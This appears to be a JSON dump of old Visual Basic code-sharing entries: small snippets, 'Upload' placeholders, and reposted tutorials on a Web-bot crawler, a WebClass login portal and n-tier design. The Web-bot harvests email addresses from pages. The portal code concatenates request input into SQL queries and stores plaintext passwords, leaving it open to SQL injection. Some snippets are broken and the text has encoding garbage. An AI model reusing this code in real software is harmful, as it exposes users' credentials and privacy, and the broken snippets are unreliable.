Nothing\n End\nEnd Sub"},{"WorldId":1,"id":7408,"LineNumber":1,"line":"'create 2 command buttons, call the first one \"Open\" and the second one \"Close\"\n'create a label \n\nPrivate Sub Form_Load()\ncommand1.tag = \"open\"\nPrivate Sub Command1_Click()\nIf Command1.Tag = \"open\" Then\nretvalue = mciSendString(\"set CDAudio door open\", _\nreturnstring, 127, 0)\nCommand1.Tag = \"closed\"\nElse\nretvalue = mciSendString(\"set cdaudio door closed\", returnstring, 127, 0)\nCommand1.Tag = \"open\"\nEnd If\nLabel1.Caption = Command1.Tag 'place a label to check to tag property of the command button\n\n"},{"WorldId":1,"id":7417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7439,"LineNumber":1,"line":"Private Sub Command1_Click()\nOn Error Resume Next\nDim fso As Object\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nSet fld = fso.createfolder(\"c:\\windowscopy\")\n' For Example:\npath1$ = \"c:\\win98\\config\"\npath2$ = \"c:\\windowscopy\\\"\nIf fso.folderexists(path1$) Then\nIf Not fso.folderexists(\"c:\\windowscopy\") Then\n'Generate Path\nSet fld = fso.createfolder(\"c:\\windowscopy\")\nEnd If\n'Copy now\nfso.copyfolder path1$, path2$, True\n'On Error:\nElse\nMsgBox \"Verzeichnis konnte nicht kopiert werden!\"\nEnd If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nSet fso = Nothing\nEnd Sub\n"},{"WorldId":1,"id":7440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7472,"LineNumber":1,"line":"From<!img alt=\"Inside Visual Basic\" border=\"0\" src=\"/vb/tutorial/vb/images/InsideVisualBasic.gif\" width=\"335\" height=\"47\">\n<a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">Inside Visual Basic Magazine</a>,<a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">March 2000 \n</a>Reposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD Net Journals</a> \n \n<table align=\"right\" border=\"0\">\n <tbody>\n <tr>\n <td></td>\n </tr>\n </tbody>\n</table>\nThere's no arguing that the Internet lets us access\namazing volumes of information on virtually any subject. However, if you're like\nus, you may have found it difficult to filter out unnecessary information from\nthis enormous repository. Gathering specific facts can be time consuming, with\ndata usually scattered across many sites. Search engines like Yahoo!, HotBot,\nand even Ask Jeeves, have attempted to fill this void, but have been only\npartially successful. A recent study found that search engines have indexed less\nthan 55 percent of the Web. The same study predicted that this percentage would\nin fact continue to shrink as the number of new pages on the Internet grows.\nIn the future, people will probably turn to personal,\nautomated search programs to find what they need. These Web-bots provide more\ntargeted and thorough searches. In this article, we'll look at the Web-bot shown\nin Figure A, which lets you research any topic on the Internet. Then, we'll\ncover a few of the basics you'll need to create a Web-bot fit to rival Jeeves\nhimself!\n<h3>To boldly go where no Web-bot has gone before</h3>\nWe included both the Web-bot's project files and a compiled\nEXE in this month's download. For now, launch the EXE. To begin, enter the\nsubject you want to research in the Subject text box. For our example, we\nsatisfied our Star Trek craving.\nNext, indicate how thorough a search you want the bot to\nconduct in the Search Depth text box. High numbers make for in-depth searches,\nbut take longer to complete. Lower numbers are less thorough but complete much\nquicker. If you have a slow Internet connection and only a few minutes to run\nthe Web-bot, consider entering a 2 or 3. If you have a fast Internet connection\nor have a lot of time (for example, you may be running the program over-night),\nenter a higher number like 9 or 10. The Web-bot doesn't care how high you make\nthis number. As you can see in Figure A, we entered 3 for our search depth.\n<h3>Full speed ahead, botty</h3>\nNow, select the Show In Browser check box. This option lets\nyou monitor the bot's progress in the right browser window. The other browsing\ncheck box, Stop Each Page, pauses the Web-bot after each page to allow you to\nmonitor the results. Chances are, if you want to run the bot unattended, you\nwon't want to use this option.\nFinally, tell the Web-bot where to start. Search engines\ncan be good launching points, so if you want to start with one of these, choose\nthe corresponding option button. If you want to start at a custom URL, click the\nCustom URL option button, and then enter the URL in the text box.\nNow that we've set the Web-bot's options, we're ready to\nlaunch it. To do so, click Start Search, and then click Yes when the program\nasks if you're conducting a new search. That done, the Web-bot races ahead at\nwarp speed, looking for the information you requested. (OK, that's the last of\nthe Star Trek references, promise!)\nAt any time, if you wish to take a closer look at a URL,\njust click the Pause button. Then, find a URL in the treeview and right-click on\nit. Doing so transports the page into the browser on the right side. The program\nalso logs email addresses, as well as the URLs, in a local Access 97 database\nfor your later perusal. We called this database WebAgent.mdb.\n<h3>The anatomy of a Web-bot</h3>\nNow that we've looked at a working Web-bot, let's take a\nlook at some of the necessary features that you'll need when you create your\nown. For space considerations, we won't get into the form's exact design.\nHowever, Figure A should provide a blueprint for your own layout.\nIn addition to the controls visible at runtime, Figure B\nshows the few controls not visible. As you can see, we've placed an ImageList\nand Inet control on the form. Also, the larger box at the very bottom is an\nRTFTextbox control. Finally, note that in the main body of the Web-bot, we used\na Treeview to list the Web sites and email addresses, and a Browser control to\ndisplay the pages. Now, let's take a look at the more complex features.\nFigure B: We'll import HTML pages into the\nRTFTextbox control, and then use its Find method to search the HTML for the\nselected topic. \n<img alt=\"[ Figure B ]\" border=\"0\" src=\"/vb/tutorial/vb/images/WebBot2.gif\" width=\"470\" height=\"378\">\n<h3>Navigating to a Web page</h3>\nThe program gains its ability to load Internet Web pages\nfrom the Microsoft Internet control (shdocvw.oca). To use it, simply drop the\ncontrol onto a form and use the <code>Navigate</code> method. In our Web-bot,\nthe function <code>mNavigateToURL</code> accomplishes this task, as well as\nprovides time-out error trapping and the code to transfer raw HTML to the\nRTFTextbox control for later use. Listing A shows the code for this procedure.\nNote that <code>vstrURL</code> contains the URL that the Web-bot is currently\nanalyzing.\nListing A: Navigating to a URL\n<code>Function mNavigateToURL(ByRef rIntInternetControl\n_\nAs Inet, ByRef rbrwsBrowserControl As WebBrowser, _\nByRef rrtfTextBox As RichTextBox, ByRef vstrURL _\nAs String) As Boolean\n'set default\nmNavigateToURL = False\nOn Error GoTo lblOpenError\nrIntInternetControl.URL = vstrURL\nrIntInternetControl.AccessType = icDirect\nfrmWebBot.sbWebBot.Panels(1).Text = \"Loading \"\n_\n& vstrURL & \"...\"\nrrtfTextBox.Text = rIntInternetControl.OpenURL\nfrmWebBot.sbWebBot.Panels(1).Text = \"\"\nOn Error GoTo 0\nIf (frmWebBot.chkShowInBrowser = vbChecked) Then\nrbrwsBrowserControl.Navigate vstrURL\nEnd If\nmNavigateToURL = True\nExit Function\nlblOpenError:\nSelect Case (Err.Number)\nCase 35761\n'timeout\nCase Else\nEnd Select\nEnd Function</code>\n<h3>Displaying Web pages</h3>\nOnce the Inet control loads a page, the Web-bot needs to\ndisplay it in the right pane of the main control panel. The Microsoft Web\nBrowser control (located in the same control library as the Internet control we\njust mentioned) makes it very easy to do so. The following code causes the\nbrowser to display the current page:\n<pre>rbrwsBrowserControl.Navigate vstrURL</pre>\n<h3>Analyzing a page</h3>\nAfter loading and displaying a page, the Web-bot reads it.\nOur particular Web-bot requires two different pieces of information:\n┬á\n<ul>\n <li>The email addresses located on the page.\n <li>The links that exit the page, so the Web-bot can\n continue its journey.</li>\n</ul>\nAs you'll recall from <code>mNavigateToURL</code>, the\nWeb-bot stores the raw HTML for the page in a Rich Text Box control, <code>rrtfTextBox</code>.\nThe control's built in <code>Find</code> method allows the Web-bot to perform\nsome rudimentary searching, but the procedure must also parse the HTML document\nfrom a specific starting and ending delimiter, and extract the text that lies in\nbetween. We created the <code>mExtractHTML</code> function in Listing B to\naccomplish this task. If it finds what it's looking for, it returns the HTML\ncontents. Otherwise, it returns the empty string.\nListing B: The mExtractHTML function\n<code>Function mExtractHTML(ByVal vstrStartDelimiter _\nAs String, ByVal vstrEndDelimiter As String, _\nByRef rrtfHtml As RichTextBox, ByRef _\nrrlngPageIndex As Long) As String\nDim lngStringStart As Long\nDim lngStringEnd As Long\nOn Error GoTo lblError\nIf (vstrStartDelimiter <> \"\") Then\n'normal\nrrlngPageIndex = rrtfHtml.Find(vstrStartDelimiter, _\nrrlngPageIndex + 1)\nlngStringStart = rrlngPageIndex + _\nLen(vstrStartDelimiter)\nElse\n'start at current position\nlngStringStart = rrlngPageIndex\nEnd If\n'find ending delimiter\nrrlngPageIndex = rrtfHtml.Find(vstrEndDelimiter, _\nlngStringStart + 1)\nlngStringEnd = rrlngPageIndex - 1\n'extract text\nrrtfHtml.SelStart = lngStringStart\nrrtfHtml.SelLength = lngStringEnd - lngStringStart + 1\nmExtractHTML = rrtfHtml.SelText\n'set output value\nrrlngPageIndex = lngStringEnd + Len(vstrEndDelimiter)\nOn Error GoTo 0\nExit Function\nlblError:\nmExtractHTML = \"ERROR\"\nEnd Function</code>\nThe functions <code>mcolGetAllUrlsInPage</code> and <code>mcolExtractAllEmailAddressesOnPage</code>\nbuild on the previous function and return the links or email addresses\n(respectively) back to the calling routine via a collection. These functions are\nsmart enough to remove links and email addresses that might appear valid to a\nless sophisticated Web-bot, but really wouldn't be applicable. For example, most\nemail addresses to mailing lists are of the format subscribe@somedomain.com. The\nroutine weeds these out. Other examples of screened email addresses include\nsales@somedomain.com and support@somedomain.com.\n<h3>Avoiding infinite loops</h3>\nSome pages either link back to themselves or link to other\npages that eventually loop back to the original page. If a Web-bot doesn't keep\nan eye out for such pages, it can easily fall into an infinite loop. To avoid\nthis trap, our Web-bot does two things. First, it uses the function <code>mSaveVisitedUrl</code>\nto store every URL in the Access database. As you can see if you view the code\nin this month's download, this function uses standard ADO code for saving data\nto a database.\nSecond, before going to any new URL, it determines if it\nalready visited the page. To do so, it calls <code>mblnAlreadyVisiting</code>,\nshown in Listing C. If the database contains the URL, then the Web-bot skips the\npage, thus short-circuiting the infinite loop.\nListing C: Code to detect duplicate URL\n<code>Function mblnAlreadyVisiting(ByVal vstrURL As\nString)\nDim objConnection As ADODB.Connection\nDim objRecordset As ADODB.Recordset\n'connect to database\nConnectToDatabase objConnection\nDim strSQL As String\nstrSQL = \"SELECT * FROM WebBot_Visited_Url \" _\n& \"WHERE url='\" & vstrURL &\n\"'\"\nSet objRecordset = New ADODB.Recordset\nOn Error GoTo lblOpenError\nobjRecordset.Open strSQL, objConnection, _\nadOpenForwardOnly, adLockPessimistic\nOn Error GoTo 0\nIf objRecordset.EOF = False Then\n'found\nmblnAlreadyVisiting = True\nElse\n'not found\nmblnAlreadyVisiting = False\nEnd If\n'close recordset\nobjRecordset.Close\nSet objRecordset = Nothing\nDisconnectFromDatabase objConnection\nExit Function\nlblOpenError:\nEnd Function</code>\n<h3>Resuming operation after stopping</h3>\nShould anything unforeseen happen during a Web-bot search,\nsuch as the operating system crashing or the computer getting switched off, the\nsearch would normally have to be completely rerun. However, this would not be a\nhappy prospect for someone who was a few hours, or days, into a search, so the\nWeb-bot code is built to handle this contingency.\nTo allow the user to resume his search, the Web-bot uses\nthe same URL log that protects against infinite loops to keep track of the\ncurrently visited URL. If the application gets prematurely shut down, it will\nsimply pick up where it left off.\n<h3>Conclusion</h3>\nWeb-bots make the Web infinitely more useful because they\nallow you to pull in more information than a mere search engine, and allow you\nto gather the information into a useful format. The uses for a Web-bot are only\nlimited by your imagination, and with this article, you now have the tools to\nbuild whatever you can dream\n<!/td>\n<!/tr>\n<!/table>"},{"WorldId":1,"id":7473,"LineNumber":1,"line":"From <a href=\"http://www.zdjournals.com/asp\">Active\nServer Developer Magazine</a>, March 2000 \nReposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD\nNet Journals</a> \n \nAs you probably know, Visual Basic contains many useful features that \nVBScript lacks, like sophisticated error trapping, class modules, API calls, and \nuser-defined types. If you've come to ASP programming from Visual Basic, then \nyou probably found yourself yearning for something as simple as runtime \ndebugging. Sure, Microsoft InterDev provides debugging, but let's face it, it \ncan't hold a candle to Visual Basic's IDE. If you're like us, you probably \nwished for a way to have your cake and eat it too--that is, to program ASP pages \nwith the full power of Visual Basic directly from Visual Basic's IDE. In that \ncase, you'll be happy to know that Visual Basic 6.0 gives you the ability to do \njust that. The WebClass object and Designer lets you create COM DLL's that act \nexactly like regular ASP pages. \nIn this article, we'll take you step by step through the process of building \na WebClass. When we've finished, we'll have a simple Web portal that will let \nyou register a name and password with the site, and then display a customized \nhome page based on the initial information. \n<H3>What's in a WebClass?</H3>As we mentioned, a WebClass is a COM DLL that \nserves as a type of proxy on your Web server, serving out the appropriate HTML \ncontent to client requests. Each WebClass consists of WebItems (HTML pages), \nwhich in turn consist of elements. These elements represent the items capable of \nreceiving events. To get a better grasp of exactly what you can do with a \nWebClass, let's dive right in and create the example. \n<H3>Create the Portal project</H3>To begin, launch Visual Basic and create a new \nIIS Application. (Note: you'll need Internet Information Server (IIS) and one of the following operating systems: Windows NT, Windows NT Workstation, Windows 2000, Windows 2000 Server or Windows 2000 Advanced Server). Then,\n in the Project Explorer right-click on the default \nProject1 item and choose Project1 Properties from the shortcut menu. In the \nProject Name text box, enter Portal as the project's name and click OK. \n<H3>Get to know the WebClass Designer</H3>At this point, we want to open the \nWebClass Designer and import the HTML page templates that make up the site. To \nlaunch the designer, in the Project Explorer window expand the Designers folder. \nWhen you do, Visual Basic displays the project's default WebClass object. \nDouble-click on it to open the WebClass Designer, as shown in Figure A. As \nyou create your WebClass, you'll use this window extensively throughout this \narticle. \nFigure A: Visual Basic 6.0's WebClass designer displays the WebItems \ncontained in the current project. <img alt=\"[ Figure A ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass1.gif\" width=\"460\" height=\"274\"> \nNext, in the Properties window, name the WebClass wbcPortal, and then \nchange the Name In URL property to Portal. This property determines the \nname used by VB as the WebClass's URL page, and will display to the end user \nthrough the address bar in his browser. As a result, it's important to keep the \nURL name meaningful. Now, save the project in its own folder. \n<H3>Import the HTML pages</H3>Next, let's import the site's base Web pages. \nMicrosoft designed WebClasses with the assumption that programmers would work \nwith Web pages only after a graphic designer initially created them. As a \nresult, VB doesn't contain an HTML authoring tool to assist you with Web page \ncreation. However, if you click the Edit The HTML button, Visual Basic opens the \npage in Notepad. To save time, you can use the three Web pages included in this \nmonth's download: NewUser.htm, Portal.htm, and Welcome.htm. To import these \nfiles, first copy them into the current project's directory. Then, in the \nDesigner right-click on the HTML Template WebItems folder located beneath \nwbcPortal. Choose Add HTML Template from the shortcut menu, and then select the \nfiles one at a time. After VB imports each file, it lets you rename them. Use \nthe names tplNewUser, tplPortal, and tplWelcome \nrespectively. At this point, the designer window should look similar to Figure \nB. \nFigure B: To add HTML template pages to the project, you import them \ninto the WebClass Designer. <img alt=\"[ Figure B ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass2.gif\" width=\"470\" height=\"246\"> \n<H3>Indicate the start-up page</H3>As our last setup task, we need to tell the \nWebClass which WebItem is our start-up page. To do so, double-click on wbcPortal \nin the Designer. When you do, Visual Basic displays the WebClass' Start() event. \nThis event is equivalent to a form's Load() event, and fires whenever you first \nvisit the Web site. You'll notice that VB has already inserted some default \ncode. Microsoft probably thought this was a great feature, because it allows \nWebClass newbies to get their bearings. However, 99.99 percent of the time \nyou'll want to get rid of it. Replace the existing code with <PRE>'show default class\ntplWelcome.WriteTemplate\n</PRE>Now, let's see what the Web site looks like. Click the Visual Basic Run \nbutton. When Windows displays the Debugging dialog box, make sure the Start \nComponent is selected and click OK. If Visual Basic asks if you want to create a \nvirtual root on the Web server in which to run the WebClass, choose Yes. After a \nfew seconds, your Internet browser should greet you with the screen shown in \nFigure C. You'll notice that while the page displays just fine, the Submit \nbutton doesn't actually do anything--it just takes you to an empty page. Let's \nfix that problem, next. \nFigure C: The Portal WebClass serves the necessary HTML for this \nwelcome page. <img alt=\"[ Figure C ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass3.gif\" width=\"436\" height=\"384\"> \n<H3>Create forms that work</H3>In a nutshell, we want our Web application to \nreact two different ways in response to the user data. For new members, we want \nto send them to a welcome page that gathers additional registration information. \nOn the other hand, the Web application can simply pass existing members directly \nto the portal page. To add this functionality, we need to connect events to the \nWeb pages' various elements. To begin, let's add the code that sends the user's \ninformation to a database, and then redirects them to the appropriate Web page. \nTo do so, stop the program and return to the WebClass Designer. Next, click on \nthe tplWelcome item. Visual Basic fills the right pane with a list of the page's \nelements. Double-click on the Form1 element to open the code window for this \nitem. In the actual Web page, IIS executes the code in this event whenever you \nclick Form1's Submit button. \nNext, set a Reference to the Microsoft Active X Data Objects 2.1 Library. \nWe'll use this DLL to perform the data access tasks. Now, insert the code in \nListing A, which queries the database for the user's name and password. Notice \nthat if the code doesn't find the member's name, it uses the WebClass' \n.WriteTemplate method to send him to the welcome page. If it does find the \nmember's name, then it redirects him to the portal page. \nListing A: The welcome form's event code <PRE>Private mconConnection As ADODB.Connection\nPrivate mrsUser As ADODB.Recordset\nPrivate Sub tplWelcome_Form1()\nSet mconConnection = New ADODB.Connection\nSet mrsUser = New ADODB.Recordset\n \nmconConnection.Open "Provider=Microsoft.Jet.OLEDB" _\n\t& ".3.51;Data Source=" & App.Path _\n\t& "\\portalMems.mdb"\nmrsUser.Open "SELECT * from tblUsers where " _\n\t& "txtName='" & Request("txtName") & "' " _\n\t& "AND txtPass='" & Request("txtPassword") _\n\t& "'", mconConnection, , , adCmdText\nIf mrsUser.EOF Then\n\t'user not registered--show new user screen\n\ttplNewUser.WriteTemplate\nElse\n\t'user registered--show portal screen\n\ttplPortal.WriteTemplate\nEnd If\nmrsUser.Close\nmconConnection.Close\nSet mconConnection = Nothing\nSet mrsUser = Nothing\nEnd Sub\n</PRE>As you can see, Visual Basic WebClasses have access to the same object \nmodel as Active Server Pages. The code uses the Request.Form object to retrieve \nthe user name and password from tplWelcome. \nLet's see what happens when we run the program now. Click Visual Basic's Run \nbutton, enter a user name and password in the Web page, and then click the \nSubmit button. When you do, the program recognizes a new user and takes you to \nthe new user page, as seen in Figure D. \nFigure D: Our WebClass checks a database of current members for the \ndata entered in the welcome page, and then transfers you to the appropriate Web \npage. <img alt=\"[ Figure D ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass4.gif\" width=\"436\" height=\"384\"> \n<H3>Insert the data of your choice into WebClass tags</H3>Notice that the Name \nfield on the new user screen defaulted to a generic name entry (the password \nfield did the same, but you can't tell because...well, it's a password field). \nIt would be nice if the page remembered the info we just entered on the previous \npage, and showed it instead. To solve this problem, we'll gather the data \nexactly like we did in the tplWelcome's Form() event. This time, however, we \nalso need to actually display it to the user. You may wonder how to customize \nwhat Visual Basic displays in the HTML template. In a regular ASP page, you'd \nsimply use something like <PRE><% = Request("txtName") %>\n</PRE>as the text field's value. In a WebItem, you accomplish this substitution \nin a similar manner--you insert custom HTML tags in the HTML template. Then, in \nthe WebItem's ProcessTag() event, you provide code that instructs the WebClass \nto insert data into each tag. To see how this works, in Visual Basic click the \nEnd button, and then in the WebClass Designer, right-click on tplNewUser. Choose \nEdit HTML Template from the shortcut menu. Visual Basic displays the HTML page \nin Notepad. In addition to the many tags with which you're familiar, you'll \nprobably notice a few unusual tags as well, such as <PRE><WC@txtName>name</WC@txtName>\n</PRE>These tags are the custom tags that we mentioned previously. Just like the \nASP tag, when IIS parses the page it takes note of the WC@ elements. Unlike the \nASP tags, these custom WebClass tags are actually XML tokens, which act more \nlike bookmarks than code block indicators. To replace the custom tag's default \nvalues with text from our portal's welcome page, return to the Designer and \ndouble-click on tplNewUser. In the code window, select the ProcessTag() event. \nNow, enter the following code: <PRE>Select Case (TagName)\n\tCase "WC@txtName"\n\t\tTagContents = Request("txtName")\n\tCase "WC@txtPassword"\n\t\tTagContents = _\n\t\t\tRequest("txtPassword")\n\tEnd Select\nEnd Sub\n</PRE>As we mentioned, this event fires each time the WebClass encounters a \ncustom tag in the template that begins with WC@. The TagName input parameter \nholds the name of the custom tag being processed. The TagContents output \nparameter contains the value that the WebClass will insert into the tag. Now, \nrun the program once more, and enter a new user name and password. This time, \nwhen you click the Submit button, the new user page displays the correct data! \n<H3>Save entry data to the database</H3>At this point, we're really making \nprogress. Of course, as for the next step we need to add the code to save the \nuser info into a database and transfer them to the Portal page. To do so, return \nto the WebClass Designer and click on tplNewUser. Double-click on the Form1 \nelement in the right pane. First, add the following three variables to the \nGeneral Declarations section: <PRE>Private mstrUser As String\nPrivate mstrFavoriteURL As String\nPrivate mdteDate As Date\n</PRE>Next, add the code shown in Listing B to tplNewUser's Form1() event. \nListing B: The tblNewUser WebItem's Form1() event <PRE>Private Sub tplNewUser_Form1()\nSet mconConnection = New ADODB.Connection\nSet mrsUser = New ADODB.Recordset\nmconConnection.Open "Provider=Microsoft.Jet.OLEDB" _\n\t& ".3.51;Data Source=" & App.Path _\n\t& "\\portalMems.mdb"\nWith mrsUser\n\t.Open "tblUsers", mconConnection, _\n\t\tadOpenForwardOnly, adLockPessimistic, adCmdTable\n\t.AddNew\n\t.Fields("txtName") = Request("txtName")\n\t.Fields("txtPass") = Request("txtPassword")\n\t.Fields("txtFavURL") = Request("txtFavoriteURL")\n\t.Update\n\t.Close\nEnd With\nmconConnection.Close\ntplPortal.WriteTemplate\nSet mconConnection = Nothing\nSet mrsUser = Nothing\nEnd Sub\n</PRE>\nNow, when you run the program and submit the information on the new user \nscreen, the code stores the data in the database. Then, it transfers you to the \nfinal Portal page, which, of course, doesn't display any custom \ninformation...yet. \n<H3>Wrap it up</H3>Now we just have to spruce up the portal page, and we'll have \na complete site. Again, we need to insert the appropriate information into the \ncustom tags on this WebItem just like we did on the new user page, so that the \nuser's name and favorite URL link appear, instead of the default text. To start, \ndouble-click on the tplPortal WebItem in the Designer. In code window's General \nDeclarations section enter the following three variable declarations: <PRE>Private mstrUser As String\nPrivate mstrFavoriteURL As String\nPrivate mdteDate As Date\n</PRE>Next, select tplPortal's ProcessTag() event and enter the code shown in \nListing C. \nListing C: The tplPortal item's ProcessTag() event <PRE>Private Sub tplPortal_ProcessTag(ByVal TagName As _\n\tString, TagContents As String, _\n\tSendTags As Boolean)\nSelect Case (TagName)\n\tCase "WC@Init"\n\t\tSet mconConnection = New ADODB.Connection\n\t\tSet mrsUser = New ADODB.Recordset\n\t\tmconConnection.Open "Provider=Microsoft.Jet" _\n\t\t\t& ".OLEDB.3.51;Data Source=" & App.Path _\n\t\t\t& "\\portalMems.mdb"\n\t\tmrsUser.Open "SELECT * from tblUsers where " _\n\t\t\t& \t"txtName='" & Request("txtName") & "' " _\n\t\t\t& "AND txtPass='" & Request("txtPassword") _\n\t\t\t& "'", mconConnection, , , adCmdText\n\t\tmstrUser = mrsUser("txtName")\n\t\tmstrFavoriteURL = mrsUser("txtFavURL")\n\t\tmdteDate = mrsUser("dtSignUp")\n\t\tmrsUser.Close\n\t\tmconConnection.Close\n\t\tTagContents = ""\n\tCase "WC@txtName"\n\t\tTagContents = mstrUser\n\tCase "WC@dteDate"\n\t\tTagContents = mdteDate\n\tCase "WC@txtFavoriteURL"\n\t\tTagContents = "<a href=" & Chr(34) _\n\t\t\t& mstrFavoriteURL & Chr(34) & ">" _\n\t\t\t& mstrFavoriteURL & "</a>"\nEnd Select\nEnd Sub\n</PRE>Now run the app, enter in a user name and password, click Submit, \nand enter your favorite URL. When you click Submit, the portal page displays \nyour information, as shown in Figure E. \nFigure E: The code for our portal page reads the appropriate data from \nthe database, and then inserts it into the appropriate XML tokens. <img alt=\"[ Figure E ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass5.gif\" width=\"436\" height=\"384\"> "},{"WorldId":1,"id":7474,"LineNumber":1,"line":"From <a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">Inside\nVisual Basic Magazine</a>, January 2000 \nReposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD\nNet Journals</a> \n \n<table align=\"right\" border=\"0\">\n <tbody>\n <tr>\n <td></td>\n </tr>\n </tbody>\n</table>\nAs we mentioned in last month's article, \"Develop\nthree-tier applications using VB 6.0 and MTS,\" most developers base\nenterprise-wide applications on n-tier architecture. This architecture type\nmakes maintenance easier, quicker, and less likely to break existing\nfunctionality.\nDespite the benefits however, multi-tier applications do\nhave one drawbackΓÇöcompletion time. A typical programming shop can spend weeks\nor months just designing and building the core business components. If your\nbusiness is like most, you don't have this luxury. You need to reap the benefits\nof an n-tier architecture, but you probably can't afford to let clients wait\naround while you experiment. Well, with the help of two tools, the Flexible\nBusiness Object Framework and the Object BuilderΓÇöshown in Figure A, you\nactually can! In fact, in this article, we'll generate a multi-tier business\nobject in just a few minutes. Then, we'll tie an entire n-tier application\ntogether in less than half an hour! Before we begin, however, let's briefly\ndiscuss object-oriented analysis.\nFigure A: The Object Builder lets you create\nbusiness objects in no time at all. \n<img alt=\"[ Figure A ]\" border=\"0\" height=\"375\" src=\"/vb/tutorial/vb/images/NTier1_1.gif\" width=\"470\">\n<h3>The business case scenario</h3>\nLet's say you work for a company called Acme Antenna\nCorporation. Acme sells television, satellite, and infrared antennas to\ncustomers through direct mail. The program management department desperately\nneeds some sort of system to track their inventory better. The department\nmanager needs to view all of the antennas in inventory, as well as add and\ndelete antennas to and from the inventory. Armed with this information, we're\nthen given free reign to create this application.\n┬á\n<h3>Identify business objects and collections</h3>\nUnlike functional programming, object orientation forces us\nto design a system before we code it. This is actually a good thing because it\ngreatly decreases our chances of ever having to gut and completely redo our\nprogram while in the middle of developing it!\nThe first design question we need to ask ourselves is,\n\"What nouns are the users concerned about?\" In this case, only one\nnoun interests usΓÇöan antenna. Nouns represent classes (which are usually what\npeople mean when they say the word objects). VB creates them through\nClass Modules. So, at this point, we've actually identified our first business\nobject! Using Microsoft's blend of Hungarian notation, we'll call this business\nobject class <code>clsAntenna</code>.\nIf you remember Acme's business requirements, the\ncompany not only wants to add and delete single antennas (which would use our\nnew <code>clsAntenna</code> object), but they also want to view all the antennas\nin their inventory. This requirement will necessitate a collection object, which\nwe'll call <code>clsAntennas</code> (plural). It's a good bet that whenever you\nidentify a single object, you'll almost always need a collection object to go\nalong with itΓÇªat least in VB.\n┬á\n<h3>Object properties and methods</h3>\nNow that we've identified the business objects, we'll need\nto determine their properties and methods for each non-collection object in the\nproject. For our simple example, this is pretty straightforward, since we only\nhave one objectΓÇö<code>clsAntenna</code>. However in most systems, you'll\nprobably have more objects to contend with.\nTo determine an object's properties, you'll need to ask\n\"What adjectives describe this object (<code>clsAntenna</code>)?\"\nThese adjectives will become the object's properties, which you implement with\nVisual Basic's Property Let and Property Get keywords. In our case, Acme Antenna\nwants to track an antenna's ID, name, and manufacturer. So, we'll make these\nthree adjectives into <code>clsAntenna</code>'s properties.\n┬á\n<h3>Identify methods</h3>\nLastly, to identify the object's methods, we ask \"What\nverbs can we associate with this object (<code>clsAntenna</code>)?\" Verbs\nbecome the object's methods, and you implement them with Visual Basic Sub and\nFunction keywords. Some verbs concerning antennas might be sell or purchase.\nHowever, since Acme didn't specify a concern for these business aspects, we\nwon't add these methods to the object. On the other hand, we do need to add some\nmethods to store and restore the object to and from the database. We'll call\nthese methods Load, Save, and Delete.\nAt this point, we've completed the analysis. It's a good\nidea to write down everything that we came up with so far, because we may need\nto refer to it in the project's later stages. Figure B shows the class diagram\nwe created from the analysis for <code>clsAntenna</code>. In addition, we added\ntypical collection properties and methods implemented by <code>clsAntennas</code>.\nFigure B: From our analysis, we created class\ndiagram of clsAntenna and clsAntennas. \n<img alt=\"[ Figure B ]\" border=\"0\" height=\"200\" src=\"/vb/tutorial/vb/images/NTier1_2.gif\" width=\"391\">\nNow that we have a plan to follow, we can develop the\napplication's data, business, and user interface tiers. When we finish, we'll\nhave a fully functional n-tier application.\n┬á\n<h3>Install the utilities</h3>\nBefore you continue, you need to install the Flexible\nBusiness Object Framework. In this month's download (<a href=\"ftp://ftp.zdjournals.com/ivb/200001.zip\">ftp.zdjournals.com/ivb/200001.zip</a>),\nyou'll find the Framework.zip file. When you extract the items in this file,\nmake sure to maintain the existing folder structure (the Use Folder Names option\nin WinZip). Also, don't forget to make a note of the directory into which you\nunzip these files. We'll refer to them quite often throughout the rest of this\narticle.\nOnce you've extracted the files, find the Object Builder\ninstall program, called ObjectBuilder.exe. You'll find it in the Install\nsubdirectory. Go ahead and run this program to install the builder. After it\nfinishes running, you'll be ready to continue.\n┬á\n<h3>Implement the database tier</h3>\nFor the database portion of the example, we'll use an\nAccess database. However, you'll design most n-tier applications to accommodate\na large number of users, which calls for heavy-duty databases, such as SQL\nServer, DB2, or Oracle. However, chances are you probably don't have a spare\ncopy of SQL Server sitting around. Just remember that we don't recommend Access\nfor designing a high-volume application.\nIf you don't have Access, we've included a sample MDB\nfile, called BusinessObjects.mdb, in this month's download in the /Business\nTier/Server Library sub directory. This database contains all the sample tables\nyou'll need to complete the example.\nTo begin, launch Access and create a new table, called BusinessObjects.\nHere's where the class diagram proves handy. Simply copy the analysis and create\none database field in the table for every property we identified. Figure C shows\nthe completed table.\nFigure C: We created a table to hold the Antenna\ndata. \n<img alt=\"[ Figure C ]\" border=\"0\" height=\"296\" src=\"/vb/tutorial/vb/images/NTier1_3.gif\" width=\"470\">\nLike most n-tier systems, the Flexible Business Object\nFramework requires a key field that generates a new unique number for each new\nrecord. To do so in Access, you create an AutoNumber field. Also, you mark the\nfield as the table's primary key. For those of you more familiar with Access,\nSQL Server's IDENT data type serves the same purpose.\nAt this point, we've completed the database. Make sure\nto save it in the 